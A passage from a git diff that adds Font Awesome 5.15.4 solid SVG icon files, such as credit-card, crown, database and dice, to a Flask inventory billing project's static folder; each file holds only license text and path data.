16-16v-16h384v16c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V311.1c19-11.1 32-31.5 32-55.1 0-35.3-28.7-64-64-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/credit-card.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/credit-card.svg new file mode 100644 index 00000000..87dcd0f2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/credit-card.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V256H0v176zm192-68c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-40zm-128 0c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM576 80v48H0V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crop-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crop-alt.svg new file mode 100644 index 00000000..173a19c3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crop-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488 352h-40V96c0-17.67-14.33-32-32-32H192v96h160v328c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24zM160 24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v256c0 17.67 14.33 32 32 32h224v-96H160V24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crop.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crop.svg new file mode 100644 index 00000000..b2f58bdd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crop.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488 352h-40V109.25l59.31-59.31c6.25-6.25 6.25-16.38 0-22.63L484.69 4.69c-6.25-6.25-16.38-6.25-22.63 0L402.75 64H192v96h114.75L160 306.75V24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v264c0 13.25 10.75 24 24 24h232v-96H205.25L352 205.25V488c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cross.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cross.svg new file mode 100644 index 00000000..024afbc3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cross.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crosshairs.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crosshairs.svg new file mode 100644 index 00000000..39aa544c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crosshairs.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M500 224h-30.364C455.724 130.325 381.675 56.276 288 42.364V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v30.364C130.325 56.276 56.276 130.325 42.364 224H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h30.364C56.276 381.675 130.325 455.724 224 469.636V500c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-30.364C381.675 455.724 455.724 381.675 469.636 288H500c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zM288 404.634V364c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40.634C165.826 392.232 119.783 346.243 107.366 288H148c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40.634C119.768 165.826 165.757 119.783 224 107.366V148c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40.634C346.174 119.768 392.217 165.757 404.634 224H364c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40.634C392.232 346.174 346.243 392.217 288 404.634zM288 256c0 17.673-14.327 32-32 32s-32-14.327-32-32c0-17.673 14.327-32 32-32s32 14.327 32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crow.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crow.svg new file mode 100644 index 00000000..ae5dbe3c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crow.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 32h-16.36C513.04 12.68 490.09 0 464 0c-44.18 0-80 35.82-80 80v20.98L12.09 393.57A30.216 30.216 0 0 0 0 417.74c0 22.46 23.64 37.07 43.73 27.03L165.27 384h96.49l44.41 120.1c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38L312.94 384H352c1.91 0 3.76-.23 5.66-.29l44.51 120.38c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38l-41.24-111.53C485.74 352.8 544 279.26 544 192v-80l96-16c0-35.35-42.98-64-96-64zm-80 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crown.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crown.svg new file mode 100644 index 00000000..1230e737 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crown.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 448H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h416c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm64-320c-26.5 0-48 21.5-48 48 0 7.1 1.6 13.7 4.4 19.8L476 239.2c-15.4 9.2-35.3 4-44.2-11.6L350.3 85C361 76.2 368 63 368 48c0-26.5-21.5-48-48-48s-48 21.5-48 48c0 15 7 28.2 17.7 37l-81.5 142.6c-8.9 15.6-28.9 20.8-44.2 11.6l-72.3-43.4c2.7-6 4.4-12.7 4.4-19.8 0-26.5-21.5-48-48-48S0 149.5 0 176s21.5 48 48 48c2.6 0 5.2-.4 7.7-.8L128 416h384l72.3-192.8c2.5.4 5.1.8 7.7.8 26.5 0 48-21.5 48-48s-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crutch.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crutch.svg new file mode 100644 index 00000000..552b2962 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/crutch.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M507.31 185.71l-181-181a16 16 0 0 0-22.62 0L281 27.31a16 16 0 0 0 0 22.63l181 181a16 16 0 0 0 22.63 0l22.62-22.63a16 16 0 0 0 .06-22.6zm-179.54 66.41l-67.89-67.89 55.1-55.1-45.25-45.25-109.67 109.67a96.08 96.08 0 0 0-25.67 46.29L106.65 360.1l-102 102a16 16 0 0 0 0 22.63l22.62 22.62a16 16 0 0 0 22.63 0l102-102 120.25-27.75a95.88 95.88 0 0 0 46.29-25.65l109.68-109.68L382.87 197zm-54.57 54.57a32 32 0 0 1-15.45 8.54l-79.3 18.32 18.3-79.3a32.22 32.22 0 0 1 8.56-15.45l9.31-9.31 67.89 67.89z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cube.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cube.svg new file mode 100644 index 00000000..6df1e28e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cube.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M239.1 6.3l-208 78c-18.7 7-31.1 25-31.1 45v225.1c0 18.2 10.3 34.8 26.5 42.9l208 104c13.5 6.8 29.4 6.8 42.9 0l208-104c16.3-8.1 26.5-24.8 26.5-42.9V129.3c0-20-12.4-37.9-31.1-44.9l-208-78C262 2.2 250 2.2 239.1 6.3zM256 68.4l192 72v1.1l-192 78-192-78v-1.1l192-72zm32 356V275.5l160-65v133.9l-160 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cubes.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cubes.svg new file mode 100644 index 00000000..0d54023e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cubes.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488.6 250.2L392 214V105.5c0-15-9.3-28.4-23.4-33.7l-100-37.5c-8.1-3.1-17.1-3.1-25.3 0l-100 37.5c-14.1 5.3-23.4 18.7-23.4 33.7V214l-96.6 36.2C9.3 255.5 0 268.9 0 283.9V394c0 13.6 7.7 26.1 19.9 32.2l100 50c10.1 5.1 22.1 5.1 32.2 0l103.9-52 103.9 52c10.1 5.1 22.1 5.1 32.2 0l100-50c12.2-6.1 19.9-18.6 19.9-32.2V283.9c0-15-9.3-28.4-23.4-33.7zM358 214.8l-85 31.9v-68.2l85-37v73.3zM154 104.1l102-38.2 102 38.2v.6l-102 41.4-102-41.4v-.6zm84 291.1l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6zm240 112l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cut.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cut.svg new file mode 100644 index 00000000..9ce231bc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cut.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M278.06 256L444.48 89.57c4.69-4.69 4.69-12.29 0-16.97-32.8-32.8-85.99-32.8-118.79 0L210.18 188.12l-24.86-24.86c4.31-10.92 6.68-22.81 6.68-35.26 0-53.02-42.98-96-96-96S0 74.98 0 128s42.98 96 96 96c4.54 0 8.99-.32 13.36-.93L142.29 256l-32.93 32.93c-4.37-.61-8.83-.93-13.36-.93-53.02 0-96 42.98-96 96s42.98 96 96 96 96-42.98 96-96c0-12.45-2.37-24.34-6.68-35.26l24.86-24.86L325.69 439.4c32.8 32.8 85.99 32.8 118.79 0 4.69-4.68 4.69-12.28 0-16.97L278.06 256zM96 160c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32zm0 256c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/database.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/database.svg new file mode 100644 index 00000000..98aca187 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/database.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 73.143v45.714C448 159.143 347.667 192 224 192S0 159.143 0 118.857V73.143C0 32.857 100.333 0 224 0s224 32.857 224 73.143zM448 176v102.857C448 319.143 347.667 352 224 352S0 319.143 0 278.857V176c48.125 33.143 136.208 48.572 224 48.572S399.874 209.143 448 176zm0 160v102.857C448 479.143 347.667 512 224 512S0 479.143 0 438.857V336c48.125 33.143 136.208 48.572 224 48.572S399.874 369.143 448 336z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/deaf.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/deaf.svg new file mode 100644 index 00000000..a398a1ca --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/deaf.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm268.485-52.201L480.2 3.515c-4.687-4.686-12.284-4.686-16.971 0L376.2 90.544c-4.686 4.686-4.686 12.284 0 16.971l28.285 28.285c4.686 4.686 12.284 4.686 16.97 0l87.03-87.029c4.687-4.688 4.687-12.286 0-16.972zM168.97 314.745c-4.686-4.686-12.284-4.686-16.97 0L3.515 463.23c-4.686 4.686-4.686 12.284 0 16.971L31.8 508.485c4.687 4.686 12.284 4.686 16.971 0L197.256 360c4.686-4.686 4.686-12.284 0-16.971l-28.286-28.284z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/democrat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/democrat.svg new file mode 100644 index 00000000..f446a7c1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/democrat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M637.3 256.9l-19.6-29.4c-28.2-42.3-75.3-67.5-126.1-67.5H256l-81.2-81.2c20.1-20.1 22.6-51.1 7.5-73.9-3.4-5.2-10.8-5.9-15.2-1.5l-41.8 41.8L82.4 2.4c-3.6-3.6-9.6-3-12.4 1.2-12.3 18.6-10.3 44 6.1 60.4 3.3 3.3 7.3 5.3 11.3 7.5-2.2 1.7-4.7 3.1-6.4 5.4L6.4 176.2c-7.3 9.7-8.4 22.7-3 33.5l14.3 28.6c5.4 10.8 16.5 17.7 28.6 17.7h31c8.5 0 16.6-3.4 22.6-9.4L138 212l54 108h352v-77.8c16.2 12.2 18.3 17.6 40.1 50.3 4.9 7.4 14.8 9.3 22.2 4.4l26.6-17.7c7.3-5 9.3-14.9 4.4-22.3zm-341.1-13.6l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L256 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L368 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L480 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zM192 496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80h160v80c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V352H192v144z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/desktop.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/desktop.svg new file mode 100644 index 00000000..d21bac4a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/desktop.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 0H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h192l-16 48h-72c-13.3 0-24 10.7-24 24s10.7 24 24 24h272c13.3 0 24-10.7 24-24s-10.7-24-24-24h-72l-16-48h192c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-16 352H64V64h448v288z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dharmachakra.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dharmachakra.svg new file mode 100644 index 00000000..89e17afd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dharmachakra.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M495 225.06l-17.22 1.08c-5.27-39.49-20.79-75.64-43.86-105.84l12.95-11.43c6.92-6.11 7.25-16.79.73-23.31L426.44 64.4c-6.53-6.53-17.21-6.19-23.31.73L391.7 78.07c-30.2-23.06-66.35-38.58-105.83-43.86L286.94 17c.58-9.21-6.74-17-15.97-17h-29.94c-9.23 0-16.54 7.79-15.97 17l1.08 17.22c-39.49 5.27-75.64 20.79-105.83 43.86l-11.43-12.95c-6.11-6.92-16.79-7.25-23.31-.73L64.4 85.56c-6.53 6.53-6.19 17.21.73 23.31l12.95 11.43c-23.06 30.2-38.58 66.35-43.86 105.84L17 225.06c-9.21-.58-17 6.74-17 15.97v29.94c0 9.23 7.79 16.54 17 15.97l17.22-1.08c5.27 39.49 20.79 75.64 43.86 105.83l-12.95 11.43c-6.92 6.11-7.25 16.79-.73 23.31l21.17 21.17c6.53 6.53 17.21 6.19 23.31-.73l11.43-12.95c30.2 23.06 66.35 38.58 105.84 43.86L225.06 495c-.58 9.21 6.74 17 15.97 17h29.94c9.23 0 16.54-7.79 15.97-17l-1.08-17.22c39.49-5.27 75.64-20.79 105.84-43.86l11.43 12.95c6.11 6.92 16.79 7.25 23.31.73l21.17-21.17c6.53-6.53 6.19-17.21-.73-23.31l-12.95-11.43c23.06-30.2 38.58-66.35 43.86-105.83l17.22 1.08c9.21.58 17-6.74 17-15.97v-29.94c-.01-9.23-7.8-16.54-17.01-15.97zM281.84 98.61c24.81 4.07 47.63 13.66 67.23 27.78l-42.62 48.29c-8.73-5.44-18.32-9.54-28.62-11.95l4.01-64.12zm-51.68 0l4.01 64.12c-10.29 2.41-19.89 6.52-28.62 11.95l-42.62-48.29c19.6-14.12 42.42-23.71 67.23-27.78zm-103.77 64.33l48.3 42.61c-5.44 8.73-9.54 18.33-11.96 28.62l-64.12-4.01c4.07-24.81 13.66-47.62 27.78-67.22zm-27.78 118.9l64.12-4.01c2.41 10.29 6.52 19.89 11.95 28.62l-48.29 42.62c-14.12-19.6-23.71-42.42-27.78-67.23zm131.55 131.55c-24.81-4.07-47.63-13.66-67.23-27.78l42.61-48.3c8.73 5.44 18.33 9.54 28.62 11.96l-4 64.12zM256 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm25.84 125.39l-4.01-64.12c10.29-2.41 19.89-6.52 28.62-11.96l42.61 48.3c-19.6 14.12-42.41 23.71-67.22 27.78zm103.77-64.33l-48.29-42.62c5.44-8.73 9.54-18.32 11.95-28.62l64.12 4.01c-4.07 24.82-13.66 47.64-27.78 67.23zm-36.34-114.89c-2.41-10.29-6.52-19.89-11.96-28.62l48.3-42.61c14.12 19.6 23.71 42.42 27.78 67.23l-64.12 4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/diagnoses.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/diagnoses.svg new file mode 100644 index 00000000..b3f0c96d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/diagnoses.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 256c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm-176-80c48.5 0 88-39.5 88-88S368.5 0 320 0s-88 39.5-88 88 39.5 88 88 88zM59.8 364c10.2 15.3 29.3 17.8 42.9 9.8 16.2-9.6 56.2-31.7 105.3-48.6V416h224v-90.7c49.1 16.8 89.1 39 105.3 48.6 13.6 8 32.7 5.3 42.9-9.8l17.8-26.7c8.8-13.2 7.6-34.6-10-45.1-11.9-7.1-29.7-17-51.1-27.4-28.1 46.1-99.4 17.8-87.7-35.1C409.3 217.2 365.1 208 320 208c-57 0-112.9 14.5-160 32.2-.2 40.2-47.6 63.3-79.2 36-11.2 6-21.3 11.6-28.7 16-17.6 10.5-18.8 31.8-10 45.1L59.8 364zM368 344c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-160 8c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm512 192H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-d20.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-d20.svg new file mode 100644 index 00000000..881efc7c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-d20.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M106.75 215.06L1.2 370.95c-3.08 5 .1 11.5 5.93 12.14l208.26 22.07-108.64-190.1zM7.41 315.43L82.7 193.08 6.06 147.1c-2.67-1.6-6.06.32-6.06 3.43v162.81c0 4.03 5.29 5.53 7.41 2.09zM18.25 423.6l194.4 87.66c5.3 2.45 11.35-1.43 11.35-7.26v-65.67l-203.55-22.3c-4.45-.5-6.23 5.59-2.2 7.57zm81.22-257.78L179.4 22.88c4.34-7.06-3.59-15.25-10.78-11.14L17.81 110.35c-2.47 1.62-2.39 5.26.13 6.78l81.53 48.69zM240 176h109.21L253.63 7.62C250.5 2.54 245.25 0 240 0s-10.5 2.54-13.63 7.62L130.79 176H240zm233.94-28.9l-76.64 45.99 75.29 122.35c2.11 3.44 7.41 1.94 7.41-2.1V150.53c0-3.11-3.39-5.03-6.06-3.43zm-93.41 18.72l81.53-48.7c2.53-1.52 2.6-5.16.13-6.78l-150.81-98.6c-7.19-4.11-15.12 4.08-10.78 11.14l79.93 142.94zm79.02 250.21L256 438.32v65.67c0 5.84 6.05 9.71 11.35 7.26l194.4-87.66c4.03-1.97 2.25-8.06-2.2-7.56zm-86.3-200.97l-108.63 190.1 208.26-22.07c5.83-.65 9.01-7.14 5.93-12.14L373.25 215.06zM240 208H139.57L240 383.75 340.43 208H240z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-d6.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-d6.svg new file mode 100644 index 00000000..b3802bb5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/dice-d6.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M422.19 109.95L256.21 